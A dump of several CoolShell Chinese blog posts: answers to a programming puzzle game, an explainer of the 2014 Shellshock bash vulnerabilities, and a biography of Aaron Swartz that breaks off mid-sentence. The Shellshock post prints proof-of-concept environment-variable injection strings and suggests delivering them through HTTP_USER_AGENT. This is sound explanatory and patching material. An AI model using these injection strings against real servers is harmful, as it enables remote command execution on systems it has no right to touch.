谜题的答案和花絮\n\n\nfun.coolshell.cn上一共有十道谜题，**要设计这些东西还真是费尽脑汁，这让我对那些设计谜题式游戏的人相当敬佩**。\n\n\n\n**第0关：**很多人可能一头雾水，完全不知道这是什么，其实只要Google一下，你会知道这是一个叫BrainFuck的语言。在Coolshell.cn上我也介绍了过——《[BT雷人的程序语言](https://coolshell.cn/articles/1142.html \"BT雷人的程序语言\")》《[BT雷人的程序语言（大全）](https://coolshell.cn/articles/4458.html \"BT雷人的程序语言（大全）\")》，要通过这关，你需要把那段程序编译一下。要编译这段程序其实很简单，Google一个在线的编译器就可以了。（关于其它更多的古怪的编程语言请参看这里：<http://esolangs.org/wiki/Language_list>）\n\n\n**第1关：**这一关也是很简单的，你需要在网页上找到两个数，一个是X，一个是Y，然后求得X和Y的乘积。对于X，你可以观察一下那个数列游戏，对于Y，你可以Google一下就知道了（我在Coolshell的《[如何用最有创造力的方式输出42](https://coolshell.cn/articles/11170.html \"如何用最有创造力的方式输出42\")》说过这个事）。\n\n\n**第2关：**上面显示了一个不一样的键盘，我给了这个键盘的Wikipedia的链接。这个键盘叫Dvorak键，不同于我们的Qwert键。通过这个两个键盘的布局映射，你可以把下面那段读不懂的文字解出来（其实，你还是可以Google，有在线的转换）。把下面那段文字转成Qwert键的，你就会发现这是一段代码，这段代码非常著名，是1987年国际[C语言混乱大赛一等奖的一段代码](http://www.di-mgt.com.au/src/korn_ioccc.txt)（你可Google “IOCCC 87 unix”）。（关于IOCCC你可以参看Coolshell之前的《[6个变态的HelloWorld](https://coolshell.cn/articles/914.html \"6个变态的C语言Hello World程序\")》、《[如何混乱代码](https://coolshell.cn/articles/933.html \"如何加密/混乱C源代码\")》、《[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html \"如何写出无法维护的代码\")》这几篇文章）\n\n\n**第3关：**扫描二维码以后，你会得到一个码表转换，你可以使用Shell的tr命令来转一下下面的话。转完后你就可以读懂了，读懂了你还需要使用rot13来转一下“shell”（Google一下，你会发现也有在线的转换器，另外还有其它的rot）\n\n\n**第4关**：这是众多同学被卡在的地方。很多同学吐槽这题太坑了，别忘了这是游戏啊。我问了几个早先通关的同学，他们都说还好了，只要静一下心来多观察一下，你就会找出规律的。这个回文的模式是，一个大写字符和一个数字（顺序不限）把一个小字母套起来。于是，写成正则表达式是：\n\n\n`([A-Z])([0-9])[a-z]\\2\\1|([0-9])([A-Z])[a-z]\\4\\3`\n\n\n用shell命令可以很快地找到9个匹配，然后，像“cat”一样，取中间的小写字母组成一个单词。写成Shell命令是：\n\n\n`grep -o \"\\([A-Z]\\)\\([0-9]\\)[a-z]\\2\\1\\|\\([0-9]\\)\\([A-Z]\\)[a-z]\\4\\3\" cat.txt | sed -E \"s/(.)(.)(.)\\2\\1/\\3/g\" | awk '{printf(\"%s\",$1)}' && echo \"\"`\n\n\n这题主要考的是你的观察能力和正则表达式。\n\n\n**第5关**：如果你点了一下图片后，你就知道，这个连接http://fun.coolshell.cn/n/2014返回了一个数字，如果你把这个数字放到那个URL中，不断地替换其中的数字，你会得到一个新的数字。于是你就会得到最终的答案。\n\n\n这道题本来我是想让大家写程序的，我原来设置了一共512个序列，但是考虑到服务受不了，所以，我把它降到了128个，这样保证你的程序可以在几秒钟内得到结果，而不会对我的服务器造成压力。但是我还是看到好几个同学人肉地copy+paste+回车刷了100多下，得到了最终答案。\n\n\n**第6关：**通过中序和后序遍历还原一棵二叉树，然后再找到其最深的路径，然后得到一个字符串后，把这个字符串做为一个passcode代入那个openssl的命令行中。你就可以解密密文得到下一关的答案。\n\n\n这个题，我本想设计得更隐晦一些，用一个“心脏流血”的图片来暗示openssl，然后用别的东西暗示AES-128-CBC，后来想想算了，主要还是考大家在大学里的二叉树的最基本的算法。并介绍一下openssl的shell命令行加解密的方法。\n\n\n在网上的一些攻略中我看到了大家没有用程序，而是手动地花了一棵树出来。（其实，这设计这道的时候，我本来想设计成随机树，也就每个人看到的答案都不一样，我随机建树并且找最深路径的程序都写好了，但是我最终还是没有这样做，因为这无疑增加我对这个网页游戏的代码复杂度，而我又没有太多的时间，而谜题的各种形式已经够让我花精力的了，你虽然看到了10道题，但是其实我设计了一共有16道题，我反复斟酌，即不想为难大家，又不想太简单和无聊，所以最终release了这十道题）\n\n\n**第7关：**N皇后问题，这个问题也是大学里的题。9皇后一共有352个解，你需要把这352个解代到那个sha1的公式中（需要上一关用于解密的passcode），这样你就会得到一个解。然后这就是通关口令。\n\n\n第6关和第7关的算法题你要是不会写的话，Google一下，反正我们是“大自然的搬运工”，不是吗？呵呵。\n\n\n第7关这题啊，我看到一个同学用穷举的1-9的排序组合的方式来向服务发请求，从123456789开始，我都看SB了，因为这关的通答案是9开头，我勒了个去！你得对我的服务器发多少次请求啊，才能得到一个200的回复啊。TNND。服了。不过这个同学我最终还是给通过了，没有判定成作弊。\n\n\n**第8关：**Excel的列号编程，这一关写成代码其实并不难的。但我看到网上给的好些答案，大家都是用手算。也OK，这题本身就没有什么难度，但是因为这个26进制是从1开始的，写出来的代码并不非常容易，一些边界条件很容易就break掉了。这题完全考的是编码。把COOLSHELL除以SHELL的数转成字符串。然后就进入最后一关了。\n\n\n然后，我又见到有个同学用了穷举的方式，TNND，其实每道题都有人在用穷举的方式，我勒个去。他从AAA开始穷举，不一会就穷举出正确答案了。尼玛！\n\n\n**第9关：**一个猪圈和一个共济会的logo，你Google一下，你就知道答案了。这题纯粹就是介绍知识的。不知道大家有没有去wikipedia上了解了一下这个猪圈密码和共济会是怎么一回事吗？这样的密文叫图片密文，还有很多类似的图片密文的。你知道吗？有相应的字库哦。也有在线的生成器哦。（因为我最近在学各种安全的基础知识，所以了解到了这个东西）\n\n\n**通关：**于是你就通关了。你会发现你得到了一个helloworld，这个字符串，在我一放出来这个谜题的时候，就有很多人在尝试helloworld就是那段brainfuck的代码的输出。我汗啊。还好我做了一个比较复杂的防作弊检查……\n\n\n总体来说，这些关卡都不难，但是你最少也得用2-3个小时。[Top100页面](http://fun.coolshell.cn/top100.html)时统计的平均时间是10个半小时。\n\n\n再说一个花絮，自从，8月3日上线后，8月4日在网上就有了相关的解答攻略，还是在V2EX上，于是出现了好些只花了几分钟就做完了的人。不过好在事先我就预料到了这个事，事先预备好了“反作弊分析”的脚本，细节不想说太多，反正就是说，我会记录你答案的整个过程和行为，以此来确保TOP100中的人基本都是用自己能力答的，当然，可能会有漏判，但至少也是写过代码的。\n\n\n#### 活动心得\n\n\n因为是第一次做活动，所以有很多感想，下面写下一些做这个活动的心得，供大家参考：\n\n\n**1）要做好一个这样的解题游戏并不简单**。\n\n\n* **关卡设计：**最花力气的地方就是设计每个关卡，我不能设计得太过隐晦，也不能设计得太过明显。最好是要符合参与者的能力，但又要高于平均以上水平的能力，最好在90%以上。这样会让大家有挑战感，但是又不会有挫败感。这个度相当难把握。总体而言，本次设计的谜题中还有很多可以改进的地方。但这毕竟是我的第一次，也算是我用其来感受一下应该怎么设计游戏。\n\n\n* **游戏黏性：**除了设计谜题，还需要针对用户可能会答错的地方来给用户一些提示，原因也是为了不让用户有挫败感，虽然用户没有答对，但是需要用这些页面来鼓励用户You made some progress，这个很重要。这会让用户对游戏更有粘性，并且更愿意有更多的投入。找到这些地方也不是一件容易的事，因为做为游戏的设计者来说，很难从一个不知到答案的角度去思考。所以需要试玩，在fun.coolshell.cn正式release之前，我找了几个人比较聪明的人来试玩了一下，对这个游戏的帮助很大。\n\n\n* **游戏管理：**这样的一个在线游戏自然会出一些作弊者，为了游戏的公平性，你需要剔除这些作弊者。所以，我设计了一些比较简单的记录用户所有过程的监测的算法。通过cookie和后台的http log来一同分析。这个部分也比较地花时间。我上周六的时候写这些代码写到了凌晨4点，导致脑子不清楚，出了些bug，导致在大家游戏过程中重置cookie等伤害用户体验的事件。所以说啊，不能赶啊，也不能加班啊。\n\n\n**2）关于怎么做一个活动的感想。**\n\n\n* **这次活动的背景**。首先，想做这个活动的起因是这样的。我一个朋友在微博上做活动——“转发微博或@几个人怎么怎么滴就有机获得什么什么的”，**我在这里把这种活动简称为“转就送”活动**。于是遭到了水军的刷奖品，导致他根本分不清楚哪些是正常人，哪些不是，因为新浪微博上有大量的这要瓣机器人，所以他这次活动最后失败了。我说，你得加点难度啊，要加点智商啊。**而且，我看过太多的活动都是这样的，而且很多公司的活动也是这样的，我觉得太low了**。于是，我就萌生了自己尝试一下的念头。\n\n\n* **我对做活动的理解**。我一直觉得网上那些诸如“转就送”或是“抽奖”这样的活动都比较SB，这些人根本就不知道怎么做活动。这样做活动不需要智商，简单粗暴，效果一点也不好，活动做完了，人就走了，人们马上就忘了。我以为做活动的精髓是这样的：\n\n\n+ **真正的价值**。其实，好的活动并不只是物品的价格，而是参与这个过程的感觉和体会。如果你让人觉得这是碰运气的，那么这个活动除了用物品价格来吸引人，也就没别的什么了。**如果这个活动的参与过程是让人有成就感的，要有成就感那么就需要有一定难度的挑战，而且这种挑战也是让众人认可和佩服的，那么这个奖品的价格再小，价值也会很大**。比如：Olympic Game，World Cup之流的，世界顶尖，四年一次，来之不易。这才是活动的价值。本次的fun.coolshell.cn上的活动，我希望让大家在做题的过程中学到一些东西，另外也希望做出来的人有一种成就感。\n\n\n+ **让人有回味**。那些简单的“转就送”式的活动不会让人产生任何的回味，只会让人产生很大的反感。就像那些“让你转发，不转就死全家”的东西，相当的让人反感。真正的回味是人们对活动参与过程的讨论和交互。在fun.coolshell.cn上线后，我就看到好几个社区在讨论这些谜题，这就是所谓的回味。**只有人们对过程的回味，对参与的回味，才会让这个活动真正的成功**。\n\n\n+ **暴露活动过程**。有挑战的活动，一定要有一个Who’s Who的东西，而且是随时动态更新的可以让大家查询的，这样才会从另一个侧面激发大家的热情。因为fun.coolshell.cn一开始说了只给前十个人送东西，结果在过程中，我发现了就半天时间就差不多满了，那时我在想，如果没有奖品了，剩下的人还会不会玩了？于是我飞快地开发了一个TOP100的排行榜，让大家可以看得到这个过程，虽然前十以后就没有奖品了，但是，能上这TOP100也不错。于是乎，在没有奖品情况下，依然在激发着大家的解题热情。**有竞争总是一件有意思的事情，因为成就感总是来自竞争**。（注：为什么top100中会有“xxxxxx”的用户，因为一开始我用的是用户提交的name，但是后来有人告诉我，这个名字可能是真名，所以，我就改成了weibo或twitter的ID，而xxxxx则是没有留下微博或twitter的）\n\n\n最后吐个槽，**我真的觉得那些“纯靠运气的活动”相当的SB，我看到好些公司的运营部门招了多少个所谓的高学历和高能力的人，结果干出来的运营活动的水平，其实，也就是个有小学文化水平的人就可以做的了**。那些“转就送式的”、“抽奖式的”的活动，是个人都会干，根本不需要高学历的人。\n\n\n#### 其它\n\n\n1）**本次活动中，有一个隐藏关卡，还没有人找出来**。要能达到隐藏关卡，需要完成所有的题目。\n\n\n2）**活动的通关页是HelloWorld，这意味着——这仅仅是个开始**。\n\n\n最后感谢大家为这个活动付出的时间！\n\n\n（全文完）\n\n\n \n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![【活动】解迷题送礼物](../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg)](https://coolshell.cn/articles/11832.html)[【活动】解迷题送礼物](https://coolshell.cn/articles/11832.html)\n* [![sed 简明教程](../wp-content/uploads/2013/02/sed-superman-150x150.png)](https://coolshell.cn/articles/9104.html)[sed 简明教程](https://coolshell.cn/articles/9104.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\nThe post [谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-9-27 bash代码注入的安全漏洞.md",
    "content": "---\nlayout: post\ntitle: bash代码注入的安全漏洞\ndate: 2014/9/27/ 23:56:46\nupdated: 2014/9/27/ 23:56:46\nstatus: publish\npublished: true\ntype: post\n---\n\n![bashbug](../wp-content/uploads/2014/09/bashbug-300x152.jpg)很多人或许对上半年发生的安全问题“心脏流血”（Heartbleed Bug）事件记忆颇深，这两天，又出现了另外一个“毁灭级”的漏洞——Bash软件安全漏洞。这个漏洞由法国GNU/Linux爱好者Stéphane Chazelas所发现。随后，美国电脑紧急应变中心（US-CERT）、红帽以及多家从事安全的公司于周三（北京时间9月24日）发出警告。 关于这个安全漏洞的细节可参看美国政府计算安全的这两个漏洞披露：[CVE-2014-6271](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271) 和 [CVE-2014-7169](http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169)。\n\n\n这个漏洞其实是非常经典的“注入式攻击”，也就是可以向 bash注入一段命令，从bash1.14 到4.3都存在这样的漏洞。我们先来看一下这个安全问题的症状。\n\n\n#### Shellshock (CVE-2014-6271)\n\n\n下面是一个简单的测试：\n\n\n`$ env VAR='() { :;}; echo Bash is vulnerable!' bash -c \"echo Bash Test\"`\n\n\n如果你发现上面这个命令在你的bash下有这样的输出，那你就说明你的bash是有漏洞的：\n\n\n\n```\nBash is vulnerable!\nBash Test\n```\n\n简单地看一下，其实就是向环境变量中注入了一段代码 **echo Bash is vulnerable**。关于其中的原理我会在后面给出。\n\n\n很快，CVE-2014-6271的官方补丁出来的了——[Bash-4.3 Official Patch 25](https://lists.gnu.org/archive/html/bug-bash/2014-09/msg00081.html)。\n\n\n\n#### AfterShock – CVE-2014-7169 （又叫Incomplete fix to Shellshock）\n\n\n但随后，马上有人在Twitter上发贴——[说这是一个不完整的fix](http://twitter.com/taviso/statuses/514887394294652929)，并给出了相关的攻击方法。\n\n\n[![](../wp-content/uploads/2014/09/bash-300x153.jpg)](http://twitter.com/taviso/statuses/514887394294652929)\n\n\n也就是下面这段测试代码（注意，其中的sh在linux下等价于bash）：\n\n\n`env X='() { (a)=>\\' sh -c \"echo date\"; cat echo`\n\n\n上面这段代码运行起来会报错，但是它要的就是报错，报错后会在你在当前目录下生成一个echo的文件，这个文件的内容是一个时间文本。下面是上面 这段命令执行出来的样子。\n\n\n\n```\n$ env X='() { (a)=>\\' sh -c \"echo date\"; cat echo\nsh: X: line 1: syntax error near unexpected token `='\nsh: X: line 1: `'\nsh: error importing function definition for `X'\nSat Sep 27 22:06:29 CST 2014\n```\n\n这段测试脚本代码相当的诡异，就像“天书”一样，我会在后面详细说明这段代码的原理。\n\n\n#### 原理和技术细节\n\n\n要说清楚这个原理和细节，我们需要从 bash的环境变量开始说起。\n\n\n##### bash的环境变量\n\n\n环境变量大家知道吧，这个不用我普及了吧。环境变量是操作系统运行shell中的变量，很多程序会通过环境变量改变自己的执行行为。在bash中要定义一个环境变量的语法很简单（注：=号的前后不能有空格）：\n\n\n`$ var=\"hello world\"`\n\n\n然后你就可以使用这个变量了，比如：echo $var什么的。但是，我们要知道，这个变量只是一个当前shell的“局部变量”，只在当前的shell进程中可以访问，这个shell进程fork出来的进程是访问不到的。\n\n\n你可以做这样的测试：\n\n\n\n```\n\n$ var=\"hello coolshell\"\n$ echo $var\nhello coolshell\n$ bash\n$ echo $var\n\n```\n\n上面的测试中，第三个命令执行了一个bash，也就是开了一个bash的子进程，你就会发现var不能访问了。\n\n\n为了要让shell的子进程可以访问，我们需要export一下：\n\n\n`$ export var=\"hello coolshell\"`\n\n\n这样，这个环境变量就会在其子进程中可见了。\n\n\n如果你要查看一下有哪些环境变量可以在子进程中可见（也就是是否被export了），你可使用**env**命令。不过，env命令也可以用来定义export的环境变量。如下所示：\n\n\n`$ env var=\"hello haoel\"`\n\n\n有了这些基础知识还不够，我们还要知道一个基础知识——shell的函数。\n\n\n##### bash的函数\n\n\n在bash下定义一个函数很简单，如下所示：\n\n\n\n```\n$ foo(){ echo \"hello coolshell\"; }\n$ foo\nhello coolshell\n```\n\n有了上面的环境变量的基础知识后，你一定会想试试这个函数是否可以在子进程中调用，答案当然是不行的。\n\n\n\n```\n$ foo(){ echo \"hello coolshell\"; }\n$ foo\nhello coolshell\n$ bash\n$ foo\nbash: foo: command not found\n```\n\n你看，和环境变量是一样的，如果要在子进程中可以访问的话，那么，还是一样的，需要export，export有个参数 -f，意思是export一个函数。如：\n\n\n\n```\n$ foo(){ echo \"hello coolshell\"; }\n$ foo\nhello coolshell\n$ export -f foo\n$ bash\n$ foo\nhello coolshell\n```\n\n好了，我讲了这么半天的基础知识，别烦，懂了这些，你才会很容易地理解这两个漏洞是怎么回事。\n\n\n好，现在要进入正题。\n\n\n##### bash的bug\n\n\n从上面我们可以看到，bash的变量和函数用了一模一样的机制，如果你用env命令看一下export出来的东西，你会看到上面我们定义的变量和函数都在，如下所示（我省略了其它的环境变量）：\n\n\n\n```\n$ env\nvar=hello coolshell\nfoo=() { echo \"hello coolshell\"\n}\n```\n\n原来，都用同样的方式啊——**无论是函数还是变量都是变量啊**。于是，看都不用看bash的源代码，聪明的黑客就能猜得到——**bash判断一个环境变量是不是一个函数，就看它的值是否以”()”开始**。于是，一股邪念涌上心头。\n\n\n黑客定义了这样的环境变量（注：() 和 { 间的空格不能少）：\n\n\n`$ export X='() { echo \"inside X\"; }; echo \"outside X\";'`\n\n\nenv一下，你会看到X已经在了：\n\n\n\n```\n$ env\nX=(){ echo \"inside X\"; }; echo \"outside X\";\n```\n\n然后，**当我们在当前的bash shell进程下产生一个bash的子进程时，新的子进程会读取父进程的所有export的环境变量，并复制到自己的进程空间中，很明显，上面的X变量的函数的后面还注入了一条命令：echo “outside X”，这会在父进程向子进程复制的过程中被执行吗？**（关于fork相关的东西你可以看一下我以前写的《[fork的一个面试题](https://coolshell.cn/articles/7965.html \"一个fork的面试题\")》）\n\n\n答案是肯定的。\n\n\n\n```\n$ export X='() { echo \"inside X\"; }; echo \"outside X\";'\n$ bash\noutside X\n```\n\n你看，一个代码注入就这样完成了。这就是bash的bug—— **函数体外面的代码被默认地执行了**。\n\n\n我们并不一定非要像上面那样创建另一个bash的子进程，我们可以使用bash -c的参数来执行一个bash子进程命令。就像这个安全漏洞的测试脚本一样：\n\n\n`env VAR='() { :;}; echo Bash is vulnerable!' bash -c \"echo Bash Test\"`\n\n\n其中，() { :;} 中的冒号就相当于/bin/true，返回true并退出。而bash -c其实就是在spawn一个bash的echo的子进程，用于触发函数体外的echo命令。所以，更为友好一点的测试脚本应该是：\n\n\n`env VAR='() { :;}; echo Bash is vulnerable!' bash -c \"echo 如果你看到了vulnerable字样说明你的bash有安全问题\"`\n\n\nOK，你应该明白这个漏洞是怎么一回事了吧。\n\n\n#### bash漏洞的影响有多大\n\n\n在网上看到好多人说这个漏洞不大，还说这个事只有那些陈旧的执行CGI脚本的网站才会有，现在已经没有网站用CGI了。我靠，这真是无知者无畏啊。\n\n\n我举个例子，如果你的网站中有调用操作系统的shell命令，比如你用PHP执行个exec之类的东西。这样的需求是有的，特别是对于一些需要和操作系统交互的重要的后台用于系统管理的程序。于是就会开一个bash的进程来执行。\n\n\n我们还知道，现在的HTTP服务器基本上都是以子进程式的，所以，其中必然会存在export 一些环境变量的事，而有的环境变量的值是从用户端来的，比如：HTTP\\_USER\\_AGENT这样的环境变量，只由浏览器发出的。其实这个变量你想写成什么就写成什么。\n\n\n于是，我可以把这个HTTP\\_USER\\_AGENT的环境变量设置成上述的测试脚本，只不过，我会把echo Bash is vulnerable!这个东西换成别的更为凶残的命令。呵呵。\n\n\n关于这个漏洞会影响哪些已有的系统，你可以自己Google，几乎所有的报告这个漏洞的文章都说了（比如：[这篇](https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/)，[这篇](https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-shellshock-bash-vulnerability)），我这里就不复述了。\n\n\n注：如果你要看看你的网站有没有这样的问题，你可以用这个在线工具测试一下：[‘ShellShock’ Bash Vulnerability CVE-2014-6271 Test Tool](http://shellshock.brandonpotter.com/)。\n\n\n现在，你知道这事可能会很大了吧。还不赶快去打补丁。（注，yum update bash 把bash版本升级到 4.1.2-15.el6\\_5.2 ， ）\n\n\n#### 关于 AfterShock – CVE-2014-7169 测试脚本的解释\n\n\n很多同学没有看懂下面这个测试脚本是什么意思，我这里解释一下。\n\n\n`env X='() { (a)=>\\' sh -c \"echo date\"; cat echo`\n\n\n* X='() { (a)=>\\’ 这个不用说了，定义一个X的环境变量。但是，这个函数不完整啊，是的，这是故意的。另外你一定要注意，\\’不是为了单引号的转义，X这个变量的值就是 **() { (a)=>\\**\n\n\n* 其中的 (a)=这个东西目的就是为了让bash的解释器出错（语法错误）。\n\n\n* 语法出错后，在缓冲区中就会只剩下了 “>\\”这两个字符。\n\n\n* 于是，这个神奇的bash会把后面的命令echo date换个行放到这个缓冲区中，然后执行。\n\n\n相当于在shell 下执行了下面这个命令：\n\n\n\n```\n$ >\\\necho date\n```\n\n如果你了解bash，你会知道 \\ 是用于命令行上换行的，于是相当于执行了：\n\n\n `$ >echo date`\n\n\n这不就是一个重定向么？上述的命令相当于：\n\n\n`$ date > echo` \n\n\n于是，你的当前目录下会出现一个echo的文件，这个文件的内容就是date命令的输出。\n\n\n**能发现这个种玩法的人真是个变态，完全是为bash的源代码量身定制的一个攻击**。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![你可能不知道的Shell](../wp-content/uploads/2012/11/shell.01-150x150.png)](http://coolshell.cn/articles/8619.html)[你可能不知道的Shell](http://coolshell.cn/articles/8619.html)\n* [![8个实用而有趣Bash命令提示行](../wp-content/uploads/2009/09/bashprompts-hurring-150x150.jpg)](http://coolshell.cn/articles/1399.html)[8个实用而有趣Bash命令提示行](http://coolshell.cn/articles/1399.html)\n* [![一个fork的面试题](../wp-content/uploads/2012/07/fork01jpg-150x150.jpg)](http://coolshell.cn/articles/7965.html)[一个fork的面试题](http://coolshell.cn/articles/7965.html)\n* [![从“黑掉Github”学Web安全开发](../wp-content/uploads/2014/02/Github-Security-150x150.png)](http://coolshell.cn/articles/11021.html)[从“黑掉Github”学Web安全开发](http://coolshell.cn/articles/11021.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](http://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](http://coolshell.cn/articles/11466.html)\n* [![谈谈数据安全和云存储](../wp-content/uploads/2012/04/61e04755jw1drlo96bsktj-150x150.jpg)](http://coolshell.cn/articles/6976.html)[谈谈数据安全和云存储](http://coolshell.cn/articles/6976.html)\nThe post [bash代码注入的安全漏洞](https://coolshell.cn/articles/11973.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-9-7 互联网之子 – Aaron Swartz.md",
    "content": "---\nlayout: post\ntitle: 互联网之子 – Aaron Swartz\ndate: 2014/9/7/ 16:26:8\nupdated: 2014/9/7/ 16:26:8\nstatus: publish\npublished: true\ntype: post\n---\n\n![Aaron_Swartz_profile](../wp-content/uploads/2014/09/Aaron_Swartz_profile-216x300.jpg) 1986年11月8日，有个叫Aaron Swartz的人在美国芝加哥伊利诺伊州出生。因为他父母创办了一个软件公司，所以，Aaron在3岁的时候就接触到了电脑，然后就着迷了。\n\n\n我们先通过Aaron Swartz 的青少年时期来看一下他是怎么样的一个天才：\n\n\n12岁的时候Aaron就创建了一个类似于Wikipedia式的网站（那时还没有Wikipedia），13岁的时候，Aaron赢得为年轻人而设，创作教育及协同非商业网站的[ArsDigita Prize](http://en.wikipedia.org/wiki/ArsDigita_Prize \"ArsDigita Prize\")比赛首名。 奖品包括参观麻省理工学院及与网际网路界的知名人士见会。\n\n\n14岁的时候，他就成为了[RSS1.0](http://en.wikipedia.org/wiki/RSS)的开发组的一员。（后来，他和 [John Gruber](http://en.wikipedia.org/wiki/John_Gruber \"John Gruber\")一起开发了Markdown）\n\n\n15岁的时候，进入W3C的 [RDF](http://en.wikipedia.org/wiki/Resource_Description_Framework \"Resource Description Framework\") 核心工作组，并写了RFC3870——这个文档描述了一个新的media type – “[RDF/XML](http://en.wikipedia.org/wiki/RDF/XML \"RDF/XML\")“，用于定义互联网上的“[语义网络](http://en.wikipedia.org/wiki/Semantic_Web)”\n\n\n17岁进入斯坦福大学，1年半后，18岁的时候因为受不了教条式的教育缀学，并通过Y Combinator公司的夏季创办人计划成立Infogami软件公司，在那里，他设想了一个Wiki平台来实现他的Internet Open Library——一个开放的网络图书馆。并写了著名的web.py 开发框架。但他觉得自己太年轻，还要有一个合伙人，于是Y Combinator建议他和Reddit合并。于是他在19岁的时候成了Reddit的创始人\n\n\n虽然Reddit不挣钱，但是相当火，当他20岁的时候（2006年10月），他们把Reddit卖给了[Condé Nast出版社](http://en.wikipedia.org/wiki/Cond%C3%A9_Nast_Publications \"Condé Nast Publications\")，据说挣到了百万美金。然后，他去了这家出版社工作，受不了办公室的那种工作环境，2007年1月离职。\n\n\n但是，你能想得到这么天才的一个人，于2013年1月11日自杀了么？那年他才26岁。\n\n\n\n从前面Aaron的经历我们可以看到，他是一个特别喜欢Wiki的人，也是非常喜欢开放的人，但并不喜欢那些有CopyRight的东西，也也不喜欢那些循规蹈矩的东西，他喜欢质疑，他喜欢打破常规，他用生命坚持着互联网真正的开放精神。但是这样一来，必然会和守旧的世界相冲突。\n\n\n他在YC搞的那个Internet Open Library（互联网开放图书馆）的项目，他就想把那些没有Copyright的书籍和学术期刊放在网上让全世界的人免费查阅。**他就认为固体的图书馆遮蔽了知识的传播，互联网理应成为连接书籍，读者，作者，纸张与思想的最好载体，他非常痛恨任何一家巨型的机构独吞所有书籍的做法。他想把Public Access 变成 Public Domain**。在他的青少年时期，他就在不懈地和一切限制信息自由交换和自由共享的做法做斗争。这是他认为的互联网精神，他同时也觉得这和美国民主自由的宪法的精神是一致的。\n\n\n其中有一个例子是这样的，美国法院行政办公室有一个叫 [PACER](http://en.wikipedia.org/wiki/PACER_(law))（Public Access to Court Electronic Records） 的政府服务。这个服务会把法庭记录的文件放在网上，如果你要看的话，一页要付费8美分（注意是每页，不是每个文档，美国政府说这只是成本式的收费），这个事他非常不能理解，他觉得这些文件本来就属于公众，没有CopyRight，为什么属于公众的东西还要收费。PACER这个服务每年可以为政府带来1.2亿美金的收入。\n\n\n于是Aaron在2008年9月4日到20日，他22岁的时候，他用Perl在AWS上写了一个程序，从PACER上下载了270万的文档（2000万页，纽约时报里说他下载大约是总量的20%，但是也有人不到总量的1%）。于是FBI对他调查了两个多月，但最终没有对他起诉。（今天，PACER还在收费，不过你可以使用一个叫[RECAP](http://en.wikipedia.org/wiki/RECAP \"RECAP\")的Firefox插件来免费浏览当年Aaron下载的相关的法律文档）\n\n\n2008年同年，Aaron创建了Watchdog.net –  “the good government site with teeth” 专门用来收集和呈现和政客相关的数据（这个网站访问不到了，不过你可以在[Aaron的blog上看一下他的想法](http://www.aaronsw.com/weblog/watchdog)）。然后，他还起草了*[Guerrilla Open Access Manifesto](http://openaccessmanifesto.org/)*（[中文版](http://openaccessmanifesto.org/%E6%B8%B8%E5%87%BB%E9%98%9F%E5%BC%80%E6%94%BE%E8%AE%BF%E9%97%AE%E5%AE%A3%E8%A8%80/)）下面是节选\n\n\n\n> 信息就是能源。但就像所有能源一样，有些人只想占为己有。世界上所有的科学和文化遗产，已在书籍和期刊上发布了数个世纪，正渐渐地被少数私有的公司数字化并上锁。想要阅读那些有着最著名研究成果的论文？你必须支付给如 Reed Elsevier 这样的出版商大把钱。\n> \n> \n> …… ……\n> \n> \n> 我们要夺回信息，无论它们被存在何处，制作我们的副本并和全世界分享。我们要取到版权到期的东西并将它们归档，我们要买下秘密的资料库并将它们放到网上。我们要下载科学期刊并将它们上传到文件分享网络。我们要为游击队开放访问而战。\n> \n> \n> 只要全世界有足够多的我们，那就不仅是传达了一个反对知识私有化的强有力信号，我们还将让它成为过去。你愿意和我们一起吗？\n> \n> \n> 亚伦·斯沃茨 (Aaron Swartz) 2008 年 7 月，意大利 Eremo\n> \n> \n\n\nAaron觉得那些对人类有价值的科学和文化遗产属于全人类，美国大学每年会向那些出版学术期刊、论文的机构（比如 ISI，Jstor）支付许可费用，许可费用极高，他觉得这是这个时代的悲剧。于是完美主义的他产生了一种责任感。\n\n\n2009年，他成立了[Progressive Change Campaign Committee](http://en.wikipedia.org/wiki/Progressive_Change_Campaign_Committee \"Progressive Change Campaign Committee\")（进步改变运动委员会），2010年，他又创建了 [Demand Progress](http://en.wikipedia.org/wiki/Demand_Progress \"Demand Progress\") （求进会）——利用互联网来组织群众与议会和政府对话。\n\n\n也因为Aaron并不理解政府和这个时代的这些荒唐的行为，于是他开始学习各种政治上的东西去寻求突破，这让他在2010年到2011年，在哈佛大学Edmond J. Safra研究实验室以Lab Fellow的身份主导到了“制度腐败”课题的研究。也因为这个身份，Aaron在MIT做访问学者的时候有 [JSTOR](http://en.wikipedia.org/wiki/JSTOR 